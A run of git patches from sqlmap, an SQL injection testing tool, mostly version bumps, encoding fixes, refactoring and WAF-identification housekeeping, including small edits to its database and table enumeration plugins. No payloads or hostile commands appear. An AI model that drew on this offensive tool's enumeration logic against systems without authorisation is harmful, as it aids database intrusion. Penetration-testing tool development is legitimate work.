codecs.getwriter(locale.getpreferredencoding())(sys.stdout) - NAME = "identYwaf" -VERSION = "1.0.111" +VERSION = "1.0.113" BANNER = """ ` __ __ ` ____ ___ ___ ____ ______ `| T T` __ __ ____ _____ @@ -359,6 +355,10 @@ def load_data(): def init(): os.chdir(os.path.abspath(os.path.dirname(__file__))) + # Reference: http://blog.mathieu-leplatre.info/python-utf-8-print-fails-when-redirecting-stdout.html + if IS_TTY: + sys.stdout = codecs.getwriter(locale.getpreferredencoding())(sys.stdout) + print(colorize("[o] initializing handlers...")) # Reference: https://stackoverflow.com/a/28052583 From 1e6f84937c3726c7674d67c2a8acfb086f5c38a0 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 May 2019 23:42:28 +0200 Subject: [PATCH 406/800] Patch for #3697 --- lib/core/settings.py | 2 +- sqlmap.py | 5 +++++ 2 files changed, 6 insertions(+), 1 deletion(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b01b6e21f8c..47d6c2d2b2a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.136" +VERSION = "1.3.5.137" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/sqlmap.py b/sqlmap.py index b812ac852fd..1ce39d54a2d 100755 --- a/sqlmap.py +++ b/sqlmap.py @@ -243,6 +243,11 @@ def main(): logger.critical(errMsg) raise SystemExit + elif all(_ in excMsg for _ in ("SyntaxError: Non-ASCII character", "on line 1, but no encoding declared")): + errMsg = "invalid runtime environment ('%s')" % excMsg.split("Error: ")[-1].strip() + logger.critical(errMsg) + raise SystemExit + elif any(_ in excMsg for _ in ("MemoryError", "Cannot allocate memory")): errMsg = "memory exhaustion detected" logger.critical(errMsg) From 6bbfec91b42f8fa9f5316e60c8dcfdcd6e101aa9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 24 May 2019 23:51:58 +0200 Subject: [PATCH 407/800] Minor update --- lib/core/settings.py | 2 +- thirdparty/ansistrm/ansistrm.py | 7 ++++++- 2 files changed, 7 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 47d6c2d2b2a..b3a28d9ccbf 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.137" +VERSION = "1.3.5.138" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/ansistrm/ansistrm.py b/thirdparty/ansistrm/ansistrm.py index 55c55f7b7a2..fd92f15761d 100644 --- a/thirdparty/ansistrm/ansistrm.py +++ b/thirdparty/ansistrm/ansistrm.py @@ -187,9 +187,14 @@ def colorize(self, message, levelno): string = match.group(1) message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: - for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted + match = re.search(r" \('(.+)'\)\Z", message) + if match: string = match.group(1) message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) + else: + for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted + string = match.group(1) + message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) else: message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) From ebfcf05512b8b3e049c809471fc3b1d0ec9f49f4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 25 May 2019 00:22:27 +0200 Subject: [PATCH 408/800] Improvement for #3453 --- lib/core/convert.py | 94 ++++++++++++++++++++++---------------------- lib/core/settings.py | 2 +- 2 files changed, 49 insertions(+), 47 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index 54aa4247115..42ef24843f9 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -105,52 +105,6 @@ def isListLike(value): # Cross-referenced function def shellExec(cmd): # Cross-referenced function raise NotImplementedError -def stdoutEncode(value): - value = value or "" - - if IS_WIN and IS_TTY and kb.get("codePage", -1) is None: - output = shellExec("chcp") - match = re.search(r": (\d{3,})", output or "") - - if match: - try: - candidate = "cp%s" % match.group(1) - codecs.lookup(candidate) - except LookupError: - pass - else: - kb.codePage = candidate - - kb.codePage = kb.codePage or "" - - if isinstance(value, six.text_type) and PYVERSION < "3.6": - encoding = kb.get("codePage") or sys.stdout.encoding or UNICODE_ENCODING - - while True: - try: - retVal = value.encode(encoding) - break - except UnicodeEncodeError as ex: - value = value[:ex.start] + "?" + value[ex.end:] - - if IS_WIN and PYVERSION < "3.6": - warnMsg = "cannot properly display (some) Unicode characters " - warnMsg += "inside Windows OS command prompt " - warnMsg += "(https://bugs.python.org/issue1602). All " - warnMsg += "unhandled occurrences will result in " - warnMsg += "replacement with '?' character. Please, find " - warnMsg += "proper character representation inside " - warnMsg += "corresponding output files. " - singleTimeWarnMessage(warnMsg) - - if six.PY3: - retVal = getUnicode(retVal, encoding) - - else: - retVal = value - - return retVal - def jsonize(data): """ Returns JSON serialized data @@ -365,3 +319,51 @@ def getText(value): pass return retVal + +def stdoutEncode(value): + """ + Returns binary representation of a given Unicode value safe for writing to stdout + """ + + value = value or "" + + if IS_WIN and IS_TTY and kb.get("codePage", -1) is None: + output = shellExec("chcp") + match = re.search(r": (\d{3,})", output or "") + + if match: + try: + candidate = "cp%s" % match.group(1) + codecs.lookup(candidate) + except LookupError: + pass + else: + kb.codePage = candidate + + kb.codePage = kb.codePage or "" + + if isinstance(value, six.text_type): + encoding = kb.get("codePage") or sys.stdout.encoding or UNICODE_ENCODING + + while True: + try: + retVal = value.encode(encoding) + break + except UnicodeEncodeError as ex: + value = value[:ex.start] + "?" * (ex.end - ex.start) + value[ex.end:] + + warnMsg = "cannot properly display (some) Unicode characters " + warnMsg += "inside your terminal ('%s') environment. All " % encoding + warnMsg += "unhandled occurrences will result in " + warnMsg += "replacement with '?' character. Please, find " + warnMsg += "proper character representation inside " + warnMsg += "corresponding output files" + singleTimeWarnMessage(warnMsg) + + if six.PY3: + retVal = getUnicode(retVal, encoding) + + else: + retVal = value + + return retVal diff --git a/lib/core/settings.py b/lib/core/settings.py index b3a28d9ccbf..28861c037b2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.138" +VERSION = "1.3.5.139" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From e6eeac5ededd5fb425c60a0a2c79c0c7ecfa715b Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 25 May 2019 00:33:30 +0200 Subject: [PATCH 409/800] Trivial message update --- lib/core/settings.py | 2 +- lib/utils/versioncheck.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 28861c037b2..3cf5348f018 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.139" +VERSION = "1.3.5.140" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/utils/versioncheck.py b/lib/utils/versioncheck.py index 55fef35956d..57eecb0e087 100644 --- a/lib/utils/versioncheck.py +++ b/lib/utils/versioncheck.py @@ -22,7 +22,7 @@ errors.append(_) if errors: - errMsg = "missing one or more core extensions (%s) " % (", ".join("'%s'" % _ for _ in errors)) + errMsg = "[%s] [CRITICAL] missing one or more core extensions (%s) " % (time.strftime("%X"), ", ".join("'%s'" % _ for _ in errors)) errMsg += "most likely because current version of Python has been " errMsg += "built without appropriate dev packages" sys.exit(errMsg) From e6496db66f2f32ef0385b1d682cdce569e015b18 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 25 May 2019 08:23:05 +0200 Subject: [PATCH 410/800] Fixes #3710 --- lib/core/settings.py | 2 +- lib/request/basic.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 3cf5348f018..0d7396c350f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.140" +VERSION = "1.3.5.141" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index fbd55b21add..e22db602f1a 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -385,9 +385,9 @@ def processResponse(page, responseHeaders, code=None, status=None): if msg: logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) - rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(responseHeaders.headers), page) - if kb.identYwaf: + rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(responseHeaders.headers if responseHeaders else []), page) + identYwaf.non_blind.clear() if identYwaf.non_blind_check(rawResponse, silent=True): for waf in identYwaf.non_blind: From eb2e78b4454515f27127dd4f3131bb26782849f9 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 26 May 2019 16:09:48 +0200 Subject: [PATCH 411/800] Fixes #3717 --- lib/core/convert.py | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/convert.py b/lib/core/convert.py index 42ef24843f9..5a7332b6a21 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -13,6 +13,7 @@ import base64 import binascii import codecs +import collections import json import re import sys @@ -24,7 +25,6 @@ from lib.core.settings import IS_WIN from lib.core.settings import NULL from lib.core.settings import PICKLE_PROTOCOL -from lib.core.settings import PYVERSION from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import UNICODE_ENCODING from thirdparty import six @@ -97,7 +97,7 @@ def singleTimeWarnMessage(message): # Cross-referenced function sys.stdout.flush() def filterNone(values): # Cross-referenced function - raise NotImplementedError + return [_ for _ in values if _] if isinstance(values, collections.Iterable) else values def isListLike(value): # Cross-referenced function raise NotImplementedError diff --git a/lib/core/settings.py b/lib/core/settings.py index 0d7396c350f..99967ffea57 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.141" +VERSION = "1.3.5.142" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From b5e489f0f0190457d1e48ea9be9a5fcb0fb0fce8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 27 May 2019 13:03:25 +0200 Subject: [PATCH 412/800] Fixes #3720 --- lib/controller/checks.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 847cdf51459..d415367c1fc 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -512,7 +512,7 @@ def genCmpPayload(): if ratio == 1.0: continue - except MemoryError: + except (MemoryError, OverflowError): pass kb.prevFalsePage = falsePage diff --git a/lib/core/settings.py b/lib/core/settings.py index 99967ffea57..5d109e339ca 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.142" +VERSION = "1.3.5.143" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 867e881d1defbe04473dfc321325c2571c6305ac Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 27 May 2019 13:09:13 +0200 Subject: [PATCH 413/800] Minor refactoring --- lib/core/dump.py | 2 +- lib/core/revision.py | 2 +- lib/core/settings.py | 2 +- lib/core/update.py | 2 +- lib/request/basic.py | 2 +- 5 files changed, 5 insertions(+), 5 deletions(-) diff --git a/lib/core/dump.py b/lib/core/dump.py index 9ca9fec7db3..e79f96b2b2c 100644 --- a/lib/core/dump.py +++ b/lib/core/dump.py @@ -18,7 +18,6 @@ from lib.core.common import dataToDumpFile from lib.core.common import dataToStdout from lib.core.common import getSafeExString -from lib.core.common import getText from lib.core.common import isListLike from lib.core.common import isMultiThreadMode from lib.core.common import normalizeUnicode @@ -29,6 +28,7 @@ from lib.core.common import unsafeSQLIdentificatorNaming from lib.core.compat import xrange from lib.core.convert import getBytes +from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb diff --git a/lib/core/revision.py b/lib/core/revision.py index 6aa3eca6c3b..f0d682e398f 100644 --- a/lib/core/revision.py +++ b/lib/core/revision.py @@ -9,8 +9,8 @@ import re import subprocess -from lib.core.common import getText from lib.core.common import openFile +from lib.core.convert import getText def getRevisionNumber(): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 5d109e339ca..b58058c1e25 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.143" +VERSION = "1.3.5.144" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/core/update.py b/lib/core/update.py index 3d628bbb9e8..8b48a6d9b13 100644 --- a/lib/core/update.py +++ b/lib/core/update.py @@ -16,10 +16,10 @@ from lib.core.common import dataToStdout from lib.core.common import getSafeExString from lib.core.common import getLatestRevision -from lib.core.common import getText from lib.core.common import openFile from lib.core.common import pollProcess from lib.core.common import readInput +from lib.core.convert import getText from lib.core.data import conf from lib.core.data import logger from lib.core.data import paths diff --git a/lib/request/basic.py b/lib/request/basic.py index e22db602f1a..b05fef8db59 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -19,7 +19,6 @@ from lib.core.common import filterNone from lib.core.common import getPublicTypeMembers from lib.core.common import getSafeExString -from lib.core.common import getText from lib.core.common import isListLike from lib.core.common import randomStr from lib.core.common import readInput @@ -29,6 +28,7 @@ from lib.core.common import unArrayizeValue from lib.core.convert import decodeHex from lib.core.convert import getBytes +from lib.core.convert import getText from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import kb From 4857f36883704b7af32ce4111309b2febd501fbb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 27 May 2019 13:15:45 +0200 Subject: [PATCH 414/800] Probably fixes #3713 --- lib/core/settings.py | 2 +- lib/request/basic.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b58058c1e25..d6c69efe4c3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.144" +VERSION = "1.3.5.145" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/basic.py b/lib/request/basic.py index b05fef8db59..6421d3f4d8b 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -386,7 +386,7 @@ def processResponse(page, responseHeaders, code=None, status=None): logger.warning("parsed DBMS error message: '%s'" % msg.rstrip('.')) if kb.identYwaf: - rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", "".join(responseHeaders.headers if responseHeaders else []), page) + rawResponse = "%s %s %s\n%s\n%s" % (_http_client.HTTPConnection._http_vsn_str, code or "", status or "", getUnicode("".join(responseHeaders.headers if responseHeaders else [])), page) identYwaf.non_blind.clear() if identYwaf.non_blind_check(rawResponse, silent=True): From a25de423f2cf6ef80f2c80b780a44995acf9cc98 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 27 May 2019 13:23:50 +0200 Subject: [PATCH 415/800] Refactoring of obsolete switch/options cases --- lib/core/common.py | 16 +++++++--------- lib/core/dicts.py | 4 ++-- lib/core/settings.py | 2 +- lib/parse/cmdline.py | 4 ++-- 4 files changed, 12 insertions(+), 14 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index b8e0a1848d3..3357f269e40 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -68,7 +68,7 @@ from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT from lib.core.dicts import DEFAULT_DOC_ROOTS -from lib.core.dicts import OLD_OPTIONS +from lib.core.dicts import OBSOLETE_OPTIONS from lib.core.dicts import SQL_STATEMENTS from lib.core.enums import ADJUST_TIME_DELAY from lib.core.enums import CONTENT_STATUS @@ -4457,19 +4457,17 @@ def getHostHeader(url): return retVal -def checkOldOptions(args): +def checkObsoleteOptions(args): """ - Checks for deprecated/obsolete options + Checks for obsolete options """ for _ in args: _ = _.split('=')[0].strip() - if _ in OLD_OPTIONS: - if OLD_OPTIONS[_]: - errMsg = "switch/option '%s' is deprecated" % _ - errMsg += " (hint: %s)" % OLD_OPTIONS[_] - else: - errMsg = "switch/option '%s' is obsolete" % _ + if _ in OBSOLETE_OPTIONS: + errMsg = "switch/option '%s' is obsolete" % _ + if OBSOLETE_OPTIONS[_]: + errMsg += " (hint: %s)" % OBSOLETE_OPTIONS[_] raise SqlmapSyntaxException(errMsg) def checkSystemEncoding(): diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 4ff4f8f3da0..e7b8fbe0f2d 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -280,7 +280,7 @@ POST_HINT.ARRAY_LIKE: "application/x-www-form-urlencoded; charset=utf-8", } -OLD_OPTIONS = { +OBSOLETE_OPTIONS = { "--replicate": "use '--dump-format=SQLITE' instead", "--no-unescape": "use '--no-escape' instead", "--binary": "use '--binary-fields' instead", @@ -290,7 +290,7 @@ "--purge-output": "use '--purge' instead", "--check-payload": None, "--check-waf": None, - "--identify-waf": None, + "--identify-waf": "functionality being done automatically", "--pickled-options": "use '--api -c ...' instead", } diff --git a/lib/core/settings.py b/lib/core/settings.py index d6c69efe4c3..11051c78df3 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.145" +VERSION = "1.3.5.146" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index fff08fae6fb..5342dffdb75 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -17,7 +17,7 @@ from optparse import OptionParser from optparse import SUPPRESS_HELP -from lib.core.common import checkOldOptions +from lib.core.common import checkObsoleteOptions from lib.core.common import checkSystemEncoding from lib.core.common import dataToStdout from lib.core.common import expandMnemonics @@ -789,7 +789,7 @@ def _(self, *args): _.append(getUnicode(arg, encoding=sys.stdin.encoding)) argv = _ - checkOldOptions(argv) + checkObsoleteOptions(argv) prompt = "--sqlmap-shell" in argv From 23130aa6bdc4a1848153a18f50fcb63c1255eb26 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 27 May 2019 13:39:20 +0200 Subject: [PATCH 416/800] Fixes #3696 --- lib/core/common.py | 5 +++-- lib/core/settings.py | 2 +- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/lib/core/common.py b/lib/core/common.py index 3357f269e40..b40bdcf5a15 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2522,9 +2522,10 @@ def commonFinderOnly(initial, sequence): Returns parts of sequence which start with the given initial string >>> commonFinderOnly("abcd", ["abcdefg", "foobar", "abcde"]) - ['abcdefg', 'abcde'] + 'abcde' """ - return longestCommonPrefix([_ for _ in sequence if _.startswith(initial)]) + + return longestCommonPrefix(*[_ for _ in sequence if _.startswith(initial)]) def pushValue(value): """ diff --git a/lib/core/settings.py b/lib/core/settings.py index 11051c78df3..6d12e8e69db 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.146" +VERSION = "1.3.5.147" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 53847447fdf4b5b5e9c4782f3742962aaf31fe73 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 May 2019 13:52:27 +0200 Subject: [PATCH 417/800] Trivial drei DeprecationWarning patch --- lib/core/settings.py | 2 +- thirdparty/identywaf/identYwaf.py | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 6d12e8e69db..b331eca3964 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.147" +VERSION = "1.3.5.148" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/thirdparty/identywaf/identYwaf.py b/thirdparty/identywaf/identYwaf.py index 2e17ac6c95f..11cf811a2f8 100755 --- a/thirdparty/identywaf/identYwaf.py +++ b/thirdparty/identywaf/identYwaf.py @@ -58,8 +58,8 @@ HTTPCookieProcessor = urllib2.HTTPCookieProcessor NAME = "identYwaf" -VERSION = "1.0.113" -BANNER = """ +VERSION = "1.0.114" +BANNER = r""" ` __ __ ` ____ ___ ___ ____ ______ `| T T` __ __ ____ _____ l j| \ / _]| \ | T`| | |`| T__T T / T| __| From b08e4aed83aa5066c3c62ac5ddb426f91a94a74c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 May 2019 14:02:44 +0200 Subject: [PATCH 418/800] Minor refactoring --- lib/core/settings.py | 2 +- plugins/dbms/maxdb/enumeration.py | 2 +- plugins/dbms/sybase/enumeration.py | 4 ++-- 3 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index b331eca3964..e2513b120c4 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.148" +VERSION = "1.3.5.149" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/maxdb/enumeration.py b/plugins/dbms/maxdb/enumeration.py index 557a6b8c1f4..146762d522f 100644 --- a/plugins/dbms/maxdb/enumeration.py +++ b/plugins/dbms/maxdb/enumeration.py @@ -49,7 +49,7 @@ def getDbs(self): retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.schemaname' % kb.aliasName], blind=True) if retVal: - kb.data.cachedDbs = six.itervalues(retVal[0]).next() + kb.data.cachedDbs = next(six.itervalues(retVal[0])) if kb.data.cachedDbs: kb.data.cachedDbs.sort() diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index 953d469f3ab..faccae6e70b 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -103,7 +103,7 @@ def getDbs(self): retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: - kb.data.cachedDbs = six.itervalues(retVal[0]).next() + kb.data.cachedDbs = next(six.itervalues(retVal[0])) break if kb.data.cachedDbs: @@ -147,7 +147,7 @@ def getTables(self, bruteForce=None): retVal = pivotDumpTable("(%s) AS %s" % (query, kb.aliasName), ['%s.name' % kb.aliasName], blind=blind, alias=kb.aliasName) if retVal: - for table in six.itervalues(retVal[0]).next(): + for table in next(six.itervalues(retVal[0])): if db not in kb.data.cachedTables: kb.data.cachedTables[db] = [table] else: From 8ca4cffb987a64a30f8cf6b7026fb166cb42943e Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 28 May 2019 14:12:35 +0200 Subject: [PATCH 419/800] Minor refactoring --- lib/controller/checks.py | 2 -- lib/core/option.py | 1 - lib/core/settings.py | 5 ++++- lib/request/basic.py | 3 ++- 4 files changed, 6 insertions(+), 5 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index d415367c1fc..1539b35b6c4 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -1379,7 +1379,6 @@ def checkWaf(): pushValue(kb.resendPostOnRedirect) pushValue(conf.timeout) - kb.identYwaf = True kb.redirectChoice = REDIRECTION.YES kb.resendPostOnRedirect = False conf.timeout = IDS_WAF_CHECK_TIMEOUT @@ -1389,7 +1388,6 @@ def checkWaf(): except SqlmapConnectionException: retVal = True finally: - kb.identYwaf = False kb.matchRatio = None conf.timeout = popValue() diff --git a/lib/core/option.py b/lib/core/option.py index fb0a50652a0..4b0087a6a2a 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1886,7 +1886,6 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.hintValue = None kb.htmlFp = [] kb.httpErrorCodes = {} - kb.identYwaf = False kb.inferenceMode = False kb.ignoreCasted = None kb.ignoreNotFound = False diff --git a/lib/core/settings.py b/lib/core/settings.py index e2513b120c4..a5cc4fbee97 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.3.5.149" +VERSION = "1.3.5.150" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -102,6 +102,9 @@ # Servers known to cause issue with pre-connection mechanism (because of lack of multi-threaded support) PRECONNECT_INCOMPATIBLE_SERVERS = ("SimpleHTTP", "BaseHTTP") +# Identify WAF/IPS inside limited number of responses (Note: for optimization purposes) +IDENTYWAF_PARSE_LIMIT = 10 + # Maximum sleep time in "Murphy" (testing) mode MAX_MURPHY_SLEEP_TIME = 3 diff --git a/lib/request/basic.py b/lib/request/basic.py index 6421d3f4d8b..0ea5614b850 100644 --- a/lib/request/basic.py +++ b/lib/request/basic.py @@ -41,6 +41,7 @@ from lib.core.settings import BLOCKED_IP_REGEX from 